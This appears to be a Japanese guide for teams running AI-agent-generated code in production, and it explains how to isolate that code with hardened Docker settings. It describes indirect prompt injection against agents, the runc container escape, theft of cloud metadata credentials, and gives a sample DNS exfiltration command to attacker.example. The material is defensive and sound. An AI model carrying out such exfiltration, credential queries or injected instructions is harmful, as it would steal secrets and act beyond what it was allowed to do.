AIエージェントにコードを書かせて実行させる仕組みを、本番の運用基盤に組み込んでいるチームに向けた内容です。エージェントが生成したスクリプトをどう隔離するか、コンテナ設定の落とし穴を整理します。
この話は開発中のプロトタイプだけの話ではありません。CIジョブやバッチ処理の一部をAIエージェントに任せている環境では、そのまま運用障害やセキュリティ侵害の入口になります。
何が起きるか
AIエージェントが実行するコードには、通常のアプリケーションとは違う脅威モデルがあります。
コードを書いたのは攻撃者でも、信頼できる開発者でもありません。攻撃者が用意したテキストを読み込んだあとのモデル自身が書いたコードです。
起きる事象は大きく3種類に分けられます。1つ目は単純な事故です。空の変数を含んだrm -rfや、ディスクを食い尽くすスクリプト、終わらない依存パッケージのインストールなどです。頻度としては最も多く、対策コストも低い部類です。
2つ目は間接的なプロンプトインジェクション(外部のWebページやログファイルに埋め込まれた指示文を、エージェントが読み込んで実行してしまう攻撃)です。攻撃者はシステムに一度も触れず、エージェントが読むテキストに指示を書き込むだけで済みます。
3つ目は利用者による直接的な悪用です。ユーザーがエージェントに任意のコードを実行させられる設計であれば、実質的にコンピュート提供サービスを運営していることになります。この3つ目が、サンドボックス(実行環境を隔離する仕組み)設計の難易度を一気に上げます。
なぜ起きるか
根本原因は「実行環境の境界が甘い」ことに尽きます。段階的に見ていきます。
第一に、コンテナはカーネル脆弱性に対する境界にはなりません。コンテナはホストのカーネルを共有する仕組みなので、カーネルやランタイムに脆弱性があれば完全に脱出できます。実例として、runcのCVE-2019-5736では、/proc/self/exeを利用してホストのruncバイナリを書き換え、コンテナ内からホストのroot権限を取得できました。パッチ適用の頻度そのものがサンドボックス設計の一部になります。
第二に、クラウドのメタデータエンドポイントが盲点になります。ネットワークを許可した状態だと、多くのクラウドVMから169.254.169.254に到達でき、IMDSv1(インスタンスメタデータサービスの旧バージョン)では認証ヘッダーなしのHTTPリクエストだけでIAM認証情報が取得できてしまいます。URLを取得できるエージェントは、このアドレスも取得できます。
第三に、DNSが情報持ち出しの経路になります。HTTPの外向き通信を止めても、パッケージインストールのためにDNSだけ許可しているケースは少なくありません。DNSはデータチャネルとして機能するため、nslookup <secretのbase32>.attacker.exampleのような形で情報を持ち出せます。HTTPログには記録が残らないので、監視の死角になりやすい部分です。
自分のプロジェクトが該当するか確認する
実際にリスクがあるかどうかは、以下の観点で確認できます。
- エージェントの実行環境が
--network=none相当の設定になっているか。Dockerを使っているならdocker inspect <コンテナID>のNetworkModeを確認します - root権限で実行していないか。
docker inspect --format '{{.Config.User}}'が空欄かrootなら要注意です --privilegedフラグやDockerソケットのマウント(/var/run/docker.sock)がないか、起動コマンドやdocker-compose.ymlをgrep privilegedやgrep docker.sockで検索します- CPU・メモリ・プロセス数の上限(
--pids-limit、--memory、--cpus)が設定されているか - コンテナ内タイムアウトの有無。オーケストレータ側だけのタイムアウトだと、コンテナがリークする可能性があります
これらが未設定なら、監視すべきインシデントの種を放置している状態です。
対策の手順
最小構成として、以下のようなDocker起動オプションが土台になります。
docker run --rm \
--network=none \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=64m \
--mount type=bind,src=$WORKSPACE,dst=/work \
--workdir /work \
--user 65534:65534 \
--cap-drop=ALL \
--security-opt=no-new-privileges \
--pids-limit=128 \
--memory=512m --memory-swap=512m \
--cpus=1.0 \
--ulimit nofile=256:256 --ulimit fsize=52428800 \
agent-runtime:pinned \
timeout 60 python /work/script.pyそれぞれの意味を運用視点で確認します。
--network=noneが最も効果の大きい1行です。外向き通信がなければ情報の持ち出しも、リバースシェルも、クラウドメタデータへの到達も原則発生しません。
--read-onlyとnoexec付きのtmpfsは、イメージ本体を不変にしつつ、/tmpにバイナリを書き込んで実行する典型的な手口を塞ぎます。--user 65534:65534はnobodyユーザーでの実行を強制し、ユーザー名前空間を使わない限りコンテナ内rootはホストのrootに近い危険度を持つ点を避けます。
--pids-limitや--memory、--cpus、--ulimit fsizeは、フォークボムやOOM(メモリ不足によるプロセス強制終了)、CPU占有、巨大ログファイルといった事故系の障害を防ぐ設定です。実際に発生頻度が高いのはセキュリティインシデントよりこちらの事故系です。
コンテナ内でのtimeout 60も重要です。オーケストレータ側のタイムアウトだけに依存すると、オーケストレータが停止した際にコンテナがリークし続けます。
ネットワークがどうしても必要な場合は、許可リスト方式のプロキシを使い、DNSも許可リストの対象として扱います。クラウドメタデータへのアクセスを塞ぐには、ネットワーク名前空間でリンクローカルアドレスをブロックし、IMDSv2(ホップ数制限付きの新しいメタデータサービス)をホップ上限1で強制する設定が有効です。
最後に、パッチ運用も忘れてはいけません。runcやcontainerdのバージョンをdocker versionやrunc --versionで確認し、既知のCVE(共通脆弱性識別子)に対する更新が適用されているか、定期的に棚卸しする運用が必要です。
導入前に確認すること
AIエージェントのコード実行環境は、単なる開発体験の話ではなく、運用インシデントとコスト管理の話でもあります。
--network=noneが設定されているか、まず確認する- root実行・特権フラグ・Dockerソケットマウントが残っていないか棚卸しする
- CPU・メモリ・プロセス数の上限とコンテナ内タイムアウトを必ず設定する
- ネットワークが必要な場合はDNSも含めた許可リスト方式に切り替える
これらは監視設計の入口でもあります。ネットワーク遮断済みの環境で不審な外向き通信ログが出たら、それ自体が異常検知のトリガーになります。運用コストを抑えながら障害の芽を早期に摘む出発点として、まず自分の環境の起動オプションを見直すところから始めてみてください。